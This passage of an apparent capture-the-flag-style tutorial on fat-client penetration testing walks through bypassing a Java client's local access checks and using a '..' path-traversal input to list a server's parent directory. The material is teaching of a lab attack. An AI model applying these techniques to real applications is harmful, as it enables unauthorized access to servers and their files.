displayed code, you will get the following result:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Login succesful!<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Current role: <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Server response is: Pong<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>This output shows that we are now able to call the different methods of the client manually. The first thing that we can now test from this position, is how access control is handled on methods that were disabled for our user account. As an example, we can take the method<span>\u00a0<\/span><code>uname<\/code><span>\u00a0<\/span>that can be invoked by replacing<span>\u00a0<\/span><code>invo.ping()<\/code><span>\u00a0<\/span>with<span>\u00a0<\/span><code>invo.uname()<\/code><span>\u00a0<\/span>in the code displayed above. If access control would be implemented only by disabling the corresponding functions inside the graphical user interface, we would now already be able to call this method. However, unfortunately we get the following result:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Login succesful!<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Current role: <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Server response is: Error: Method <\/span><span class=\"enlighter-s0\">'uname'<\/span><span class=\"enlighter-text\"> is not allowed for this <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"> account<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Notice that the string<span>\u00a0<\/span><code>Server response is<\/code><span>\u00a0<\/span>was added by our code and is no clear indication whether the error was thrown by the application server or our client. After searching for the string<span>\u00a0<\/span><code>not allowed for this user<\/code>, we find out that the class<span>\u00a0<\/span><code>htb.fatty.client.methods.Invoker<\/code><span>\u00a0<\/span>is throwing this error. By looking at the corresponding code, we can see that our local client is performing the access control checks:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">uname<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">throws<\/span><span class=\"enlighter-text\"> MessageParseException, MessageBuildException, IOException <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> methodName = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Object<\/span><span class=\"enlighter-g1\">(){}<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m0\">getClass<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getEnclosingMethod<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> logger.<\/span><span class=\"enlighter-m3\">logInfo<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Method '\"<\/span><span class=\"enlighter-text\"> + methodName + <\/span><span class=\"enlighter-s0\">\"' was called by user '\"<\/span><span class=\"enlighter-text\"> + <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">user<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getUsername<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> + <\/span><span class=\"enlighter-s0\">\"'.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">AccessCheck.<\/span><span class=\"enlighter-m3\">checkAccess<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">methodName, <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">user<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error: Method '\"<\/span><span class=\"enlighter-text\"> + methodName + <\/span><span class=\"enlighter-s0\">\"' is not allowed for this user account\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As you can see, the relevant function is<span>\u00a0<\/span><code>checkAccess<\/code><span>\u00a0<\/span>from the<span>\u00a0<\/span><code>AccessCheck<\/code><span>\u00a0<\/span>class. To skip client side validation of method calls, we can just patch the<span>\u00a0<\/span><code>checkAccess<\/code><span>\u00a0<\/span>function in our own code to return always<span>\u00a0<\/span><em>false<\/em>. This should enable all methods for our low privileged user.<\/p>\n<p>Like already mentioned in the<em><span>\u00a0<\/span>fat client introduction<\/em>, in<span>\u00a0<\/span><em>Eclipse<span>\u00a0<\/span><\/em>it is sufficient to create a local version of the class that is then preferred by the class loader. The following minimal implementation should be sufficient:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">package<\/span><span class=\"enlighter-k10\"> htb.fatty.client.methods<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.resources.User<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> AccessCheck <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">static<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">boolean<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">checkAccess<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> methodName, User user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e0\">false<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>But when we run the method<span>\u00a0<\/span><code>invo.uname()<\/code><span>\u00a0<\/span>after applying the patch, we get the following error message:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Login succesful!<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Current role: user<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Exception in thread <\/span><span class=\"enlighter-s0\">\"main\"<\/span><span class=\"enlighter-text\"> java.<\/span><span class=\"enlighter-m3\">lang<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">SecurityException<\/span><span class=\"enlighter-text\">: sealing violation: package htb.<\/span><span class=\"enlighter-m3\">fatty<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">client<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">methods<\/span><span class=\"enlighter-text\"> is sealed<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at java.<\/span><span class=\"enlighter-m3\">net<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">URLClassLoader<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getAndVerifyPackage<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">URLClassLoader.<\/span><span class=\"enlighter-m3\">java<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">400<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at java.<\/span><span class=\"enlighter-m3\">net<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">URLClassLoader<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">definePackageInternal<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">URLClassLoader.<\/span><span class=\"enlighter-m3\">java<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">420<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at java.<\/span><span class=\"enlighter-m3\">net<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">URLClassLoader<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">defineClass<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">URLClassLoader.<\/span><span class=\"enlighter-m3\">java<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">452<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Our new code is causing a<span>\u00a0<\/span><em>sealing violation<\/em>, since the package<span>\u00a0<\/span><code>htb.fatty.client.methods<\/code><span>\u00a0<\/span>is a se<em>aled package<\/em>. We have now two options, the first is to implement all classes of<span>\u00a0<\/span><code>htb.fatty.client.methods<\/code><span>\u00a0<\/span>in our own eclipse project. This prevents the mix of local classes with classes defined inside the<span>\u00a0<\/span><code>.jar<\/code><span>\u00a0<\/span>file, which is the reason for the<span>\u00a0<\/span><em>sealing violation<\/em>. The second one would be to unpack<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>again and to remove the<span>\u00a0<\/span><code>Sealed: True<\/code><span>\u00a0<\/span>option from the<span>\u00a0<\/span><code>MANIFEST.MF<\/code><span>\u00a0<\/span>file.<\/p>\n<p>Since there is only one other class inside of<span>\u00a0<\/span><code>htb.fatty.client.methods<\/code><span>\u00a0<\/span>(the<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>class), we will choose the first option. We just copy the<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>class from the decompiled code into our own project. Now<span>\u00a0<\/span><code>htb.fatty.client.methods<\/code><span>\u00a0<\/span>has a full local implementation and sealing should cause no problems anymore. We can now check again if we are allowed to invoke the<span>\u00a0<\/span><code>invo.uname()<\/code><span>\u00a0<\/span>method.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Login succesful!<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Current role: <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Server response is: Error: Method <\/span><span class=\"enlighter-s0\">'uname'<\/span><span class=\"enlighter-text\"> is not allowed for this <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"> account<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>No success. But by inspecting the network traffic that is caused by our client or by patching the error message that is used for client side violations, we can verify that this error message is now thrown by the application server. So it seems that access control is also implemented on the server-side (probably by using similar methods as on the client side). From here it is definitely worth to check all functions for<span>\u00a0<\/span><em>broken access control<\/em><span>\u00a0<\/span>issues, but we will find that for all methods server-side verification seems to be in place.<\/p>\n<h3 id=\"off-by-one\">3.8 \u2013 Off by One<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>The next thing we are interested in is to check the file browsing functionalities within our own client. When looking at the<span>\u00a0<\/span><code>ClientGuiTest<\/code><span>\u00a0<\/span>class again, we can determine that a file listing for e.g. the<span>\u00a0<\/span><code>config<\/code><span>\u00a0<\/span>folder is obtained like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">actionPerformed<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ActionEvent e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> response = <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ClientGuiTest.<\/span><span class=\"enlighter-m3\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">currentFolder<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">\"configs\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response = ClientGuiTest.<\/span><span class=\"enlighter-m3\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">invoker<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">showFiles<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"configs\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageBuildException | MessageParseException e1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">controlPanel, <\/span><span class=\"enlighter-s0\">\"Failure during message building\/parsing.\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e2<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">controlPanel, <\/span><span class=\"enlighter-s0\">\"Unable to contact the server. If this problem remains, please close and reopen the client.\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> textPane.<\/span><span class=\"enlighter-m3\">setText<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">response<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The function sets first of all a global variable<span>\u00a0<\/span><code>currentFolder<\/code><span>\u00a0<\/span>to the value<span>\u00a0<\/span><code>configs<\/code><span>\u00a0<\/span>and then calls the<span>\u00a0<\/span><code>showFiles<\/code><span>\u00a0<\/span>function on the<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>object. The<span>\u00a0<\/span><code>showFiles<\/code><span>\u00a0<\/span>method is more interesting as<span>\u00a0<\/span><code>ping<\/code><span>\u00a0<\/span>or even<span>\u00a0<\/span><code>uname<\/code>, since it takes a parameter that is probably sent to the application server. From the client functionality we can guess, that the submitted parameter is the name of the desired folder on the server and we can now also test this parameter for<span>\u00a0<\/span><em>path-traversal vulnerabilities<span>\u00a0<\/span><\/em>(notice that from the<span>\u00a0<\/span><em>GUI<span>\u00a0<\/span><\/em>you are not able to modify this parameter at all). In our previously used code, we simply have to exchange the<span>\u00a0<\/span><code>invo.uname()<\/code><span>\u00a0<\/span>function with<span>\u00a0<\/span><code>invo.showFiles(\"&lt;payload&gt;\")<\/code>.<\/p>\n<p>After some testing, you will notice that the same filtering seems to apply as for the filename. As soon as the character sequence<span>\u00a0<\/span><code>\/..\/<\/code><span>\u00a0<\/span>is contained in the folder name, it gets stripped. However, as in the case of the<span>\u00a0<\/span><em>open<\/em><span>\u00a0<\/span>function a simple<span>\u00a0<\/span><code>..<\/code><span>\u00a0<\/span>payload does not get filtered. Therefore, we can at least take a look at the parent folder by using<span>\u00a0<\/span><code>invo.showFiles(\"..\")<\/code>.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Login succesful!<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Current role: <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Server response is: logs tar start.sh fatty-server.jar files<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Nice, we obtained a file listing for the parent folder! And even better,<span>\u00a0<\/span><em>fatty-server.jar<\/em><span>\u00a0<\/span>is contained in it! This is one of the most exciting situations during a<em><span>\u00a0<\/span>fat client penetration<\/em><span>\u00a0<\/span>test. If you find any way to download the application server executable, you can exactly determine how the different<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>functionalities are implemented on the server side. This makes the identification of<span>\u00a0<\/span><em>SQL<span>\u00a0<\/span><\/em>or<em><span>\u00a0<\/span>command injection<\/em><span>\u00a0<\/span>vulnerabilities a lot easier. The next step is to check how we can download these files by using our custom client.<\/p>\n<p>Looking at the<span>\u00a0<\/span><code>ClientGuiTest<\/code><span>\u00a0<\/span>class again, we can find that opening files is done by the following function call:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">actionPerformed<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ActionEvent e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ClientGuiTest.<\/span><span class=\"enlighter-m3\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">currentFolder<\/span><span class=\"enlighter-text\"> == <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">controlPanel, <\/span><span class=\"enlighter-s0\">\"No folder selected! List a directory first!\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> response = <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> fileName = ClientGuiTest.<\/span><span class=\"enlighter-m3\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">fileTextField<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getText<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> fileName.<\/span><span class=\"enlighter-m3\">replaceAll<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[^a-zA-Z0-9.]\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response = ClientGuiTest.<\/span><span class=\"enlighter-m3\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">invoker<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">open<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ClientGuiTest.<\/span><span class=\"enlighter-m3\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">currentFolder<\/span><span class=\"enlighter-text\">, fileName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageBuildException | MessageParseException e1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> JOptionPane.<\/span><span class=\"enlighter-m3\">showMessageDialog<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">controlPanel, <\/span><span class=\"enlighter-s0\">\"Failure during message building\/parsing.\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"Error\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div 